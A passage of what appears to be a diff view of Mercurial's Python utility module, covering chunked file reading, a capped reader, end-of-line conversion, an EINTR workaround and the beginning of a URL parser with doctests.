2164 fp.write(text)
2169 fp.write(text)
2165
2170
2166 def appendfile(path, text):
2171 def appendfile(path, text):
2167 with open(path, 'ab') as fp:
2172 with open(path, 'ab') as fp:
2168 fp.write(text)
2173 fp.write(text)
2169
2174
2170 class chunkbuffer(object):
2175 class chunkbuffer(object):
2171 """Allow arbitrary sized chunks of data to be efficiently read from an
2176 """Allow arbitrary sized chunks of data to be efficiently read from an
2172 iterator over chunks of arbitrary size."""
2177 iterator over chunks of arbitrary size."""
2173
2178
2174 def __init__(self, in_iter):
2179 def __init__(self, in_iter):
2175 """in_iter is the iterator that's iterating over the input chunks."""
2180 """in_iter is the iterator that's iterating over the input chunks."""
2176 def splitbig(chunks):
2181 def splitbig(chunks):
2177 for chunk in chunks:
2182 for chunk in chunks:
2178 if len(chunk) > 2**20:
2183 if len(chunk) > 2**20:
2179 pos = 0
2184 pos = 0
2180 while pos < len(chunk):
2185 while pos < len(chunk):
2181 end = pos + 2 ** 18
2186 end = pos + 2 ** 18
2182 yield chunk[pos:end]
2187 yield chunk[pos:end]
2183 pos = end
2188 pos = end
2184 else:
2189 else:
2185 yield chunk
2190 yield chunk
2186 self.iter = splitbig(in_iter)
2191 self.iter = splitbig(in_iter)
2187 self._queue = collections.deque()
2192 self._queue = collections.deque()
2188 self._chunkoffset = 0
2193 self._chunkoffset = 0
2189
2194
2190 def read(self, l=None):
2195 def read(self, l=None):
2191 """Read L bytes of data from the iterator of chunks of data.
2196 """Read L bytes of data from the iterator of chunks of data.
2192 Returns less than L bytes if the iterator runs dry.
2197 Returns less than L bytes if the iterator runs dry.
2193
2198
2194 If size parameter is omitted, read everything"""
2199 If size parameter is omitted, read everything"""
2195 if l is None:
2200 if l is None:
2196 return ''.join(self.iter)
2201 return ''.join(self.iter)
2197
2202
2198 left = l
2203 left = l
2199 buf = []
2204 buf = []
2200 queue = self._queue
2205 queue = self._queue
2201 while left > 0:
2206 while left > 0:
2202 # refill the queue
2207 # refill the queue
2203 if not queue:
2208 if not queue:
2204 target = 2**18
2209 target = 2**18
2205 for chunk in self.iter:
2210 for chunk in self.iter:
2206 queue.append(chunk)
2211 queue.append(chunk)
2207 target -= len(chunk)
2212 target -= len(chunk)
2208 if target <= 0:
2213 if target <= 0:
2209 break
2214 break
2210 if not queue:
2215 if not queue:
2211 break
2216 break
2212
2217
2213 # The easy way to do this would be to queue.popleft(), modify the
2218 # The easy way to do this would be to queue.popleft(), modify the
2214 # chunk (if necessary), then queue.appendleft(). However, for cases
2219 # chunk (if necessary), then queue.appendleft(). However, for cases
2215 # where we read partial chunk content, this incurs 2 dequeue
2220 # where we read partial chunk content, this incurs 2 dequeue
2216 # mutations and creates a new str for the remaining chunk in the
2221 # mutations and creates a new str for the remaining chunk in the
2217 # queue. Our code below avoids this overhead.
2222 # queue. Our code below avoids this overhead.
2218
2223
2219 chunk = queue[0]
2224 chunk = queue[0]
2220 chunkl = len(chunk)
2225 chunkl = len(chunk)
2221 offset = self._chunkoffset
2226 offset = self._chunkoffset
2222
2227
2223 # Use full chunk.
2228 # Use full chunk.
2224 if offset == 0 and left >= chunkl:
2229 if offset == 0 and left >= chunkl:
2225 left -= chunkl
2230 left -= chunkl
2226 queue.popleft()
2231 queue.popleft()
2227 buf.append(chunk)
2232 buf.append(chunk)
2228 # self._chunkoffset remains at 0.
2233 # self._chunkoffset remains at 0.
2229 continue
2234 continue
2230
2235
2231 chunkremaining = chunkl - offset
2236 chunkremaining = chunkl - offset
2232
2237
2233 # Use all of unconsumed part of chunk.
2238 # Use all of unconsumed part of chunk.
2234 if left >= chunkremaining:
2239 if left >= chunkremaining:
2235 left -= chunkremaining
2240 left -= chunkremaining
2236 queue.popleft()
2241 queue.popleft()
2237 # offset == 0 is enabled by block above, so this won't merely
2242 # offset == 0 is enabled by block above, so this won't merely
2238 # copy via ``chunk[0:]``.
2243 # copy via ``chunk[0:]``.
2239 buf.append(chunk[offset:])
2244 buf.append(chunk[offset:])
2240 self._chunkoffset = 0
2245 self._chunkoffset = 0
2241
2246
2242 # Partial chunk needed.
2247 # Partial chunk needed.
2243 else:
2248 else:
2244 buf.append(chunk[offset:offset + left])
2249 buf.append(chunk[offset:offset + left])
2245 self._chunkoffset += left
2250 self._chunkoffset += left
2246 left -= chunkremaining
2251 left -= chunkremaining
2247
2252
2248 return ''.join(buf)
2253 return ''.join(buf)
2249
2254
2250 def filechunkiter(f, size=131072, limit=None):
2255 def filechunkiter(f, size=131072, limit=None):
2251 """Create a generator that produces the data in the file size
2256 """Create a generator that produces the data in the file size
2252 (default 131072) bytes at a time, up to optional limit (default is
2257 (default 131072) bytes at a time, up to optional limit (default is
2253 to read all data). Chunks may be less than size bytes if the
2258 to read all data). Chunks may be less than size bytes if the
2254 chunk is the last chunk in the file, or the file is a socket or
2259 chunk is the last chunk in the file, or the file is a socket or
2255 some other type of file that sometimes reads less data than is
2260 some other type of file that sometimes reads less data than is
2256 requested."""
2261 requested."""
2257 assert size >= 0
2262 assert size >= 0
2258 assert limit is None or limit >= 0
2263 assert limit is None or limit >= 0
2259 while True:
2264 while True:
2260 if limit is None:
2265 if limit is None:
2261 nbytes = size
2266 nbytes = size
2262 else:
2267 else:
2263 nbytes = min(limit, size)
2268 nbytes = min(limit, size)
2264 s = nbytes and f.read(nbytes)
2269 s = nbytes and f.read(nbytes)
2265 if not s:
2270 if not s:
2266 break
2271 break
2267 if limit:
2272 if limit:
2268 limit -= len(s)
2273 limit -= len(s)
2269 yield s
2274 yield s
2270
2275
2271 class cappedreader(object):
2276 class cappedreader(object):
2272 """A file object proxy that allows reading up to N bytes.
2277 """A file object proxy that allows reading up to N bytes.
2273
2278
2274 Given a source file object, instances of this type allow reading up to
2279 Given a source file object, instances of this type allow reading up to
2275 N bytes from that source file object. Attempts to read past the allowed
2280 N bytes from that source file object. Attempts to read past the allowed
2276 limit are treated as EOF.
2281 limit are treated as EOF.
2277
2282
2278 It is assumed that I/O is not performed on the original file object
2283 It is assumed that I/O is not performed on the original file object
2279 in addition to I/O that is performed by this instance. If there is,
2284 in addition to I/O that is performed by this instance. If there is,
2280 state tracking will get out of sync and unexpected results will ensue.
2285 state tracking will get out of sync and unexpected results will ensue.
2281 """
2286 """
2282 def __init__(self, fh, limit):
2287 def __init__(self, fh, limit):
2283 """Allow reading up to <limit> bytes from <fh>."""
2288 """Allow reading up to <limit> bytes from <fh>."""
2284 self._fh = fh
2289 self._fh = fh
2285 self._left = limit
2290 self._left = limit
2286
2291
2287 def read(self, n=-1):
2292 def read(self, n=-1):
2288 if not self._left:
2293 if not self._left:
2289 return b''
2294 return b''
2290
2295
2291 if n < 0:
2296 if n < 0:
2292 n = self._left
2297 n = self._left
2293
2298
2294 data = self._fh.read(min(n, self._left))
2299 data = self._fh.read(min(n, self._left))
2295 self._left -= len(data)
2300 self._left -= len(data)
2296 assert self._left >= 0
2301 assert self._left >= 0
2297
2302
2298 return data
2303 return data
2299
2304
2300 def readinto(self, b):
2305 def readinto(self, b):
2301 res = self.read(len(b))
2306 res = self.read(len(b))
2302 if res is None:
2307 if res is None:
2303 return None
2308 return None
2304
2309
2305 b[0:len(res)] = res
2310 b[0:len(res)] = res
2306 return len(res)
2311 return len(res)
2307
2312
2308 def unitcountfn(*unittable):
2313 def unitcountfn(*unittable):
2309 '''return a function that renders a readable count of some quantity'''
2314 '''return a function that renders a readable count of some quantity'''
2310
2315
2311 def go(count):
2316 def go(count):
2312 for multiplier, divisor, format in unittable:
2317 for multiplier, divisor, format in unittable:
2313 if abs(count) >= divisor * multiplier:
2318 if abs(count) >= divisor * multiplier:
2314 return format % (count / float(divisor))
2319 return format % (count / float(divisor))
2315 return unittable[-1][2] % count
2320 return unittable[-1][2] % count
2316
2321
2317 return go
2322 return go
2318
2323
2319 def processlinerange(fromline, toline):
2324 def processlinerange(fromline, toline):
2320 """Check that linerange <fromline>:<toline> makes sense and return a
2325 """Check that linerange <fromline>:<toline> makes sense and return a
2321 0-based range.
2326 0-based range.
2322
2327
2323 >>> processlinerange(10, 20)
2328 >>> processlinerange(10, 20)
2324 (9, 20)
2329 (9, 20)
2325 >>> processlinerange(2, 1)
2330 >>> processlinerange(2, 1)
2326 Traceback (most recent call last):
2331 Traceback (most recent call last):
2327 ...
2332 ...
2328 ParseError: line range must be positive
2333 ParseError: line range must be positive
2329 >>> processlinerange(0, 5)
2334 >>> processlinerange(0, 5)
2330 Traceback (most recent call last):
2335 Traceback (most recent call last):
2331 ...
2336 ...
2332 ParseError: fromline must be strictly positive
2337 ParseError: fromline must be strictly positive
2333 """
2338 """
2334 if toline - fromline < 0:
2339 if toline - fromline < 0:
2335 raise error.ParseError(_("line range must be positive"))
2340 raise error.ParseError(_("line range must be positive"))
2336 if fromline < 1:
2341 if fromline < 1:
2337 raise error.ParseError(_("fromline must be strictly positive"))
2342 raise error.ParseError(_("fromline must be strictly positive"))
2338 return fromline - 1, toline
2343 return fromline - 1, toline
2339
2344
2340 bytecount = unitcountfn(
2345 bytecount = unitcountfn(
2341 (100, 1 << 30, _('%.0f GB')),
2346 (100, 1 << 30, _('%.0f GB')),
2342 (10, 1 << 30, _('%.1f GB')),
2347 (10, 1 << 30, _('%.1f GB')),
2343 (1, 1 << 30, _('%.2f GB')),
2348 (1, 1 << 30, _('%.2f GB')),
2344 (100, 1 << 20, _('%.0f MB')),
2349 (100, 1 << 20, _('%.0f MB')),
2345 (10, 1 << 20, _('%.1f MB')),
2350 (10, 1 << 20, _('%.1f MB')),
2346 (1, 1 << 20, _('%.2f MB')),
2351 (1, 1 << 20, _('%.2f MB')),
2347 (100, 1 << 10, _('%.0f KB')),
2352 (100, 1 << 10, _('%.0f KB')),
2348 (10, 1 << 10, _('%.1f KB')),
2353 (10, 1 << 10, _('%.1f KB')),
2349 (1, 1 << 10, _('%.2f KB')),
2354 (1, 1 << 10, _('%.2f KB')),
2350 (1, 1, _('%.0f bytes')),
2355 (1, 1, _('%.0f bytes')),
2351 )
2356 )
2352
2357
2353 class transformingwriter(object):
2358 class transformingwriter(object):
2354 """Writable file wrapper to transform data by function"""
2359 """Writable file wrapper to transform data by function"""
2355
2360
2356 def __init__(self, fp, encode):
2361 def __init__(self, fp, encode):
2357 self._fp = fp
2362 self._fp = fp
2358 self._encode = encode
2363 self._encode = encode
2359
2364
2360 def close(self):
2365 def close(self):
2361 self._fp.close()
2366 self._fp.close()
2362
2367
2363 def flush(self):
2368 def flush(self):
2364 self._fp.flush()
2369 self._fp.flush()
2365
2370
2366 def write(self, data):
2371 def write(self, data):
2367 return self._fp.write(self._encode(data))
2372 return self._fp.write(self._encode(data))
2368
2373
2369 # Matches a single EOL which can either be a CRLF where repeated CR
2374 # Matches a single EOL which can either be a CRLF where repeated CR
2370 # are removed or a LF. We do not care about old Macintosh files, so a
2375 # are removed or a LF. We do not care about old Macintosh files, so a
2371 # stray CR is an error.
2376 # stray CR is an error.
2372 _eolre = remod.compile(br'\r*\n')
2377 _eolre = remod.compile(br'\r*\n')
2373
2378
2374 def tolf(s):
2379 def tolf(s):
2375 return _eolre.sub('\n', s)
2380 return _eolre.sub('\n', s)
2376
2381
2377 def tocrlf(s):
2382 def tocrlf(s):
2378 return _eolre.sub('\r\n', s)
2383 return _eolre.sub('\r\n', s)
2379
2384
2380 def _crlfwriter(fp):
2385 def _crlfwriter(fp):
2381 return transformingwriter(fp, tocrlf)
2386 return transformingwriter(fp, tocrlf)
2382
2387
2383 if pycompat.oslinesep == '\r\n':
2388 if pycompat.oslinesep == '\r\n':
2384 tonativeeol = tocrlf
2389 tonativeeol = tocrlf
2385 fromnativeeol = tolf
2390 fromnativeeol = tolf
2386 nativeeolwriter = _crlfwriter
2391 nativeeolwriter = _crlfwriter
2387 else:
2392 else:
2388 tonativeeol = pycompat.identity
2393 tonativeeol = pycompat.identity
2389 fromnativeeol = pycompat.identity
2394 fromnativeeol = pycompat.identity
2390 nativeeolwriter = pycompat.identity
2395 nativeeolwriter = pycompat.identity
2391
2396
2392 if (pyplatform.python_implementation() == 'CPython' and
2397 if (pyplatform.python_implementation() == 'CPython' and
2393 sys.version_info < (3, 0)):
2398 sys.version_info < (3, 0)):
2394 # There is an issue in CPython that some IO methods do not handle EINTR
2399 # There is an issue in CPython that some IO methods do not handle EINTR
2395 # correctly. The following table shows what CPython version (and functions)
2400 # correctly. The following table shows what CPython version (and functions)
2396 # are affected (buggy: has the EINTR bug, okay: otherwise):
2401 # are affected (buggy: has the EINTR bug, okay: otherwise):
2397 #
2402 #
2398 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2403 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
2399 # --------------------------------------------------
2404 # --------------------------------------------------
2400 # fp.__iter__ | buggy | buggy | okay
2405 # fp.__iter__ | buggy | buggy | okay
2401 # fp.read* | buggy | okay [1] | okay
2406 # fp.read* | buggy | okay [1] | okay
2402 #
2407 #
2403 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2408 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
2404 #
2409 #
2405 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2410 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
2406 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2411 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
2407 #
2412 #
2408 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2413 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
2409 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2414 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
2410 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2415 # CPython 2, because CPython 2 maintains an internal readahead buffer for
2411 # fp.__iter__ but not other fp.read* methods.
2416 # fp.__iter__ but not other fp.read* methods.
2412 #
2417 #
2413 # On modern systems like Linux, the "read" syscall cannot be interrupted
2418 # On modern systems like Linux, the "read" syscall cannot be interrupted
2414 # when reading "fast" files like on-disk files. So the EINTR issue only
2419 # when reading "fast" files like on-disk files. So the EINTR issue only
2415 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2420 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
2416 # files approximately as "fast" files and use the fast (unsafe) code path,
2421 # files approximately as "fast" files and use the fast (unsafe) code path,
2417 # to minimize the performance impact.
2422 # to minimize the performance impact.
2418 if sys.version_info >= (2, 7, 4):
2423 if sys.version_info >= (2, 7, 4):
2419 # fp.readline deals with EINTR correctly, use it as a workaround.
2424 # fp.readline deals with EINTR correctly, use it as a workaround.
2420 def _safeiterfile(fp):
2425 def _safeiterfile(fp):
2421 return iter(fp.readline, '')
2426 return iter(fp.readline, '')
2422 else:
2427 else:
2423 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2428 # fp.read* are broken too, manually deal with EINTR in a stupid way.
2424 # note: this may block longer than necessary because of bufsize.
2429 # note: this may block longer than necessary because of bufsize.
2425 def _safeiterfile(fp, bufsize=4096):
2430 def _safeiterfile(fp, bufsize=4096):
2426 fd = fp.fileno()
2431 fd = fp.fileno()
2427 line = ''
2432 line = ''
2428 while True:
2433 while True:
2429 try:
2434 try:
2430 buf = os.read(fd, bufsize)
2435 buf = os.read(fd, bufsize)
2431 except OSError as ex:
2436 except OSError as ex:
2432 # os.read only raises EINTR before any data is read
2437 # os.read only raises EINTR before any data is read
2433 if ex.errno == errno.EINTR:
2438 if ex.errno == errno.EINTR:
2434 continue
2439 continue
2435 else:
2440 else:
2436 raise
2441 raise
2437 line += buf
2442 line += buf
2438 if '\n' in buf:
2443 if '\n' in buf:
2439 splitted = line.splitlines(True)
2444 splitted = line.splitlines(True)
2440 line = ''
2445 line = ''
2441 for l in splitted:
2446 for l in splitted:
2442 if l[-1] == '\n':
2447 if l[-1] == '\n':
2443 yield l
2448 yield l
2444 else:
2449 else:
2445 line = l
2450 line = l
2446 if not buf:
2451 if not buf:
2447 break
2452 break
2448 if line:
2453 if line:
2449 yield line
2454 yield line
2450
2455
2451 def iterfile(fp):
2456 def iterfile(fp):
2452 fastpath = True
2457 fastpath = True
2453 if type(fp) is file:
2458 if type(fp) is file:
2454 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2459 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
2455 if fastpath:
2460 if fastpath:
2456 return fp
2461 return fp
2457 else:
2462 else:
2458 return _safeiterfile(fp)
2463 return _safeiterfile(fp)
2459 else:
2464 else:
2460 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2465 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
2461 def iterfile(fp):
2466 def iterfile(fp):
2462 return fp
2467 return fp
2463
2468
2464 def iterlines(iterator):
2469 def iterlines(iterator):
2465 for chunk in iterator:
2470 for chunk in iterator:
2466 for line in chunk.splitlines():
2471 for line in chunk.splitlines():
2467 yield line
2472 yield line
2468
2473
2469 def expandpath(path):
2474 def expandpath(path):
2470 return os.path.expanduser(os.path.expandvars(path))
2475 return os.path.expanduser(os.path.expandvars(path))
2471
2476
2472 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2477 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
2473 """Return the result of interpolating items in the mapping into string s.
2478 """Return the result of interpolating items in the mapping into string s.
2474
2479
2475 prefix is a single character string, or a two character string with
2480 prefix is a single character string, or a two character string with
2476 a backslash as the first character if the prefix needs to be escaped in
2481 a backslash as the first character if the prefix needs to be escaped in
2477 a regular expression.
2482 a regular expression.
2478
2483
2479 fn is an optional function that will be applied to the replacement text
2484 fn is an optional function that will be applied to the replacement text
2480 just before replacement.
2485 just before replacement.
2481
2486
2482 escape_prefix is an optional flag that allows using doubled prefix for
2487 escape_prefix is an optional flag that allows using doubled prefix for
2483 its escaping.
2488 its escaping.
2484 """
2489 """
2485 fn = fn or (lambda s: s)
2490 fn = fn or (lambda s: s)
2486 patterns = '|'.join(mapping.keys())
2491 patterns = '|'.join(mapping.keys())
2487 if escape_prefix:
2492 if escape_prefix:
2488 patterns += '|' + prefix
2493 patterns += '|' + prefix
2489 if len(prefix) > 1:
2494 if len(prefix) > 1:
2490 prefix_char = prefix[1:]
2495 prefix_char = prefix[1:]
2491 else:
2496 else:
2492 prefix_char = prefix
2497 prefix_char = prefix
2493 mapping[prefix_char] = prefix_char
2498 mapping[prefix_char] = prefix_char
2494 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2499 r = remod.compile(br'%s(%s)' % (prefix, patterns))
2495 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2500 return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
2496
2501
2497 def getport(port):
2502 def getport(port):
2498 """Return the port for a given network service.
2503 """Return the port for a given network service.
2499
2504
2500 If port is an integer, it's returned as is. If it's a string, it's
2505 If port is an integer, it's returned as is. If it's a string, it's
2501 looked up using socket.getservbyname(). If there's no matching
2506 looked up using socket.getservbyname(). If there's no matching
2502 service, error.Abort is raised.
2507 service, error.Abort is raised.
2503 """
2508 """
2504 try:
2509 try:
2505 return int(port)
2510 return int(port)
2506 except ValueError:
2511 except ValueError:
2507 pass
2512 pass
2508
2513
2509 try:
2514 try:
2510 return socket.getservbyname(pycompat.sysstr(port))
2515 return socket.getservbyname(pycompat.sysstr(port))
2511 except socket.error:
2516 except socket.error:
2512 raise error.Abort(_("no port number associated with service '%s'")
2517 raise error.Abort(_("no port number associated with service '%s'")
2513 % port)
2518 % port)
2514
2519
2515 class url(object):
2520 class url(object):
2516 r"""Reliable URL parser.
2521 r"""Reliable URL parser.
2517
2522
2518 This parses URLs and provides attributes for the following
2523 This parses URLs and provides attributes for the following
2519 components:
2524 components:
2520
2525
2521 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2526 <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
2522
2527
2523 Missing components are set to None. The only exception is
2528 Missing components are set to None. The only exception is
2524 fragment, which is set to '' if present but empty.
2529 fragment, which is set to '' if present but empty.
2525
2530
2526 If parsefragment is False, fragment is included in query. If
2531 If parsefragment is False, fragment is included in query. If
2527 parsequery is False, query is included in path. If both are
2532 parsequery is False, query is included in path. If both are
2528 False, both fragment and query are included in path.
2533 False, both fragment and query are included in path.
2529
2534
2530 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2535 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2531
2536
2532 Note that for backward compatibility reasons, bundle URLs do not
2537 Note that for backward compatibility reasons, bundle URLs do not
2533 take host names. That means 'bundle://../' has a path of '../'.
2538 take host names. That means 'bundle://../' has a path of '../'.
2534
2539
2535 Examples:
2540 Examples:
2536
2541
2537 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2542 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2538 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2543 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2539 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2544 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2540 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2545 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2541 >>> url(b'file:///home/joe/repo')
2546 >>> url(b'file:///home/joe/repo')
2542 <url scheme: 'file', path: '/home/joe/repo'>
2547 <url scheme: 'file', path: '/home/joe/repo'>
2543 >>> url(b'file:///c:/temp/foo/')
2548 >>> url(b'file:///c:/temp/foo/')
2544 <url scheme: 'file', path: 'c:/temp/foo/'>
2549 <url scheme: 'file', path: 'c:/temp/foo/'>
2545 >>> url(b'bundle:foo')
2550 >>> url(b'bundle:foo')
2546 <url scheme: 'bundle', path: 'foo'>
2551 <url scheme: 'bundle', path: 'foo'>
2547 >>> url(b'bundle://../foo')
2552 >>> url(b'bundle://../foo')
2548 <url scheme: 'bundle', path: '../foo'>
2553 <url scheme: 'bundle', path: '../foo'>
2549 >>> url(br'c:\foo\bar')
2554 >>> url(br'c:\foo\bar')
2550 <url path: 'c:\\foo\\bar'>
2555 <url path: 'c:\\foo\\bar'>
2551 >>> url(br'\\blah\blah\blah')
2556 >>> url(br'\\blah\blah\blah')
2552 <url path: '\\\\blah\\blah\\blah'>
2557 <url path: '\\\\blah\\blah\\blah'>
2553 >>> url(br'\\blah\blah\blah#baz')
2558 >>> url(br'\\blah\blah\blah#baz')
2554 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2559 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2555 >>> url(br'file:///C:\users\me')
2560 >>> url(br'file:///C:\users\me')
2556 <url scheme: 'file', path: 'C:\\users\\me'>
2561 <url scheme: 'file', path: 'C:\\users\\me'>
2557
2562
2558 Authentication credentials:
2563 Authentication credentials:
2559
2564
2560 >>> url(b'ssh://joe:xyz@x/repo')
2565 >>> url(b'ssh://joe:xyz@x/repo')
2561 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2566 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2562 >>> url(b'ssh://joe@x/repo')
2567 >>> url(b'ssh://joe@x/repo')
2563 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2568 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2564
2569
2565 Query strings and fragments:
2570 Query strings and fragments:
2566
2571
2567 >>> url(b'http://host/a?b#c')
2572 >>> url(b'http://host/a?b#c')
2568 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2573 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
2569 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2574 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
2570 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2575 <url scheme: 'http', host: 'host', path: 'a?b#c'>
2571
2576
2572 Empty path:
2577 Empty path:
2573
2578
2574 >>> url(b'')
2579 >>> url(b'')
2575 <url path: ''>
2580 <url path: ''>
2576 >>> url(b'#a')
2581 >>> url(b'#a')
2577 <url path: '', fragment: 'a'>
2582 <url path: '', fragment: 'a'>
2578 >>> url(b'http://host/')
2583 >>> url(b'http://host/')
2579 <url scheme: 'http', host: 'host', path: ''>
2584 <url scheme: 'http', host: 'host', path: ''>
2580 >>> url(b'http://host/#a')
2585 >>> url(b'http://host/#a')
2581 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2586 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
2582
2587
2583 Only scheme:
2588 Only scheme:
2584
2589
2585 >>> url(b'http:')
2590 >>> url(b'http:')
2586 <url scheme: 'http'>
2591 <url scheme: 'http'>
2587 """
2592 """
2588
2593
2589 _safechars = "!~*'()+"
2594 _safechars = "!~*'()+"
2590 _safepchars = "/!~*'()+:\\"
2595 _safepchars = "/!~*'()+:\\"
2591 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2596 _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
2592
2597
2593 def __init__(self, path, parsequery=True, parsefragment=True):
2598 def __init__(self, path, parsequery=True, parsefragment=True):
2594 # We slowly chomp away at path until we have only the path left
2599 # We slowly chomp away at path until we have only the path left
2595 self.scheme = self.user = self.passwd = self.host = None
2600 self.scheme = self.user = self.passwd = self.host = None
2596 self.port = self.path = self.query = self.fragment = None
2601 self.port = self.path = self.query = self.fragment = None
2597 self._localpath = True
2602 self._localpath = True
2598 self._hostport = ''
2603 self._hostport = ''
2599 self._origpath = path
2604 self._origpath = path
2600
2605
2601 if parsefragment and '#' in path:
2606 if parsefragment and '#' in path:
2602 path, self.fragment = path.split('#', 1)
2607 path, self.fragment = path.split('#', 1)
2603
2608
2604 # special case for Windows drive letters and UNC paths
2609 # special case for Windows drive letters and UNC paths
2605 if hasdriveletter(path) or path.startswith('\\\\'):
2610 if hasdriveletter(path) or path.startswith('\\\\'):
2606 self.path = path
2611 self.path = path
2607 return
2612 return
2608
2613
2609 # For compatibility reasons, we can't handle bundle paths as
2614 # For compatibility reasons, we can't handle bundle paths as
2610 # normal URLS
2615 # normal URLS
2611 if path.startswith('bundle:'):
2616 if path.startswith('bundle:'):
2612 self.scheme = 'bundle'
2617 self.scheme = 'bundle'
2613 path = path[7:]
2618 path = path[7:]
2614 if path.startswith('//'):
2619 if path.startswith('//'):
2615 path = path[2:]
2620 path = path[2:]
2616 self.path = path
2621 self.path = path
2617 return
2622 return
2618
2623
2619 if self._matchscheme(path):
2624 if self._matchscheme(path):
2620 parts = path.split(':', 1)
2625 parts = path.split(':', 1)
2621 if parts[0]:
2626 if parts[0]:
2622 self.scheme, path = parts
2627 self.scheme, path = parts
2623 self._localpath = False
2628 self._localpath = False
2624
2629
2625 if not path:
2630 if not path:
2626 path = None
2631 path = None
2627 if self._localpath:
2632 if self._localpath:
2628 self.path = ''
2633 self.path = ''
2629 return
2634 return
2630 else:
2635 else:
2631 if self._localpath:
2636 if self._localpath:
2632 self.path = path
2637 self.path = path
2633 return
2638 return
2634
2639
2635 if parsequery and '?' in path:
2640 if parsequery and '?' in path:
2636 path, self.query = path.split('?', 1)
2641 path, self.query = path.split('?', 1)
2637 if not path:
2642 if not path:
2638 path = None
2643 path = None
2639 if not self.query:
2644 if not self.query:
2640 self.query = None
2645 self.query = None
2641
2646
2642 # // is required to specify a host/authority
2647 # // is required to specify a host/authority
2643 if path and path.startswith('//'):
2648 if path and path.startswith('//'):
2644 parts = path[2:].split('/', 1)
2649 parts = path[2:].split('/', 1)
2645 if len(parts) > 1:
2650 if len(parts) > 1:
2646 self.host, path = parts
2651 self.host, path = parts
2647 else:
2652 else:
2648 self.host = parts[0]
2653 self.host = parts[0]
2649 path = None
2654 path = None
2650 if not self.host:
2655 if not self.host:
2651 self.host = None
2656 self.host = None
2652 # path of file:///d is /d
2657 # path of file:///d is /d
2653 # path of file:///d:/ is d:/, not /d:/
2658 # path of file:///d:/ is d:/, not /d:/
2654 if path and not hasdriveletter(path):
2659 if path and not hasdriveletter(path):
2655 path = '/' + path
2660 path = '/' + path
2656
2661
2657 if self.host and '@' in self.host:
2662 if self.host and '@' in self.host:
2658 self.user, self.host = self.host.rsplit('@', 1)
2663 self.user, self.host = self.host.rsplit('@', 1)
2659 if ':' in self.user:
2664 if ':' in self.user:
2660 self.user, self.passwd = self.user.split(':', 1)
2665 self.user, self.passwd = self.user.split(':', 1)
2661 if not self.host:
2666 if not self.host:
2662 self.host = None
2667 self.host = None
2663
2668
2664 # Don't split on colons in IPv6 addresses without ports
2669 # Don't split on colons in IPv6 addresses without ports
2665 if (self.host and ':' in self.host and
2670 if (self.host and ':' in self.host and
2666 not (self.host.startswith('[') and self.host.endswith(']'))):
2671 not (self.host.startswith('[') and self.host.endswith(']'))):
2667 self._hostport = self.host
2672 self._hostport = self.host
2668 self.host, self.port = self.host.rsplit(':', 1)
2673 self.host, self.port = self.host.rsplit(':', 1)
2669 if not self.host:
2674 if not self.host:
2670 self.host = None
2675 self.host = None
2671
2676
2672 if (self.host and self.scheme == 'file' and
2677 if (self.host and self.scheme == 'file' and
2673 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2678 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2674 raise error.Abort(_('file:// URLs can only refer to localhost'))
2679 raise error.Abort(_('file:// URLs can only refer to localhost'))
2675
2680
2676 self.path = path
2681 self.path = path
2677
2682
2678 # leave the query string escaped
2683 # leave the query string escaped
2679 for a in ('user', 'passwd', 'host', 'port',
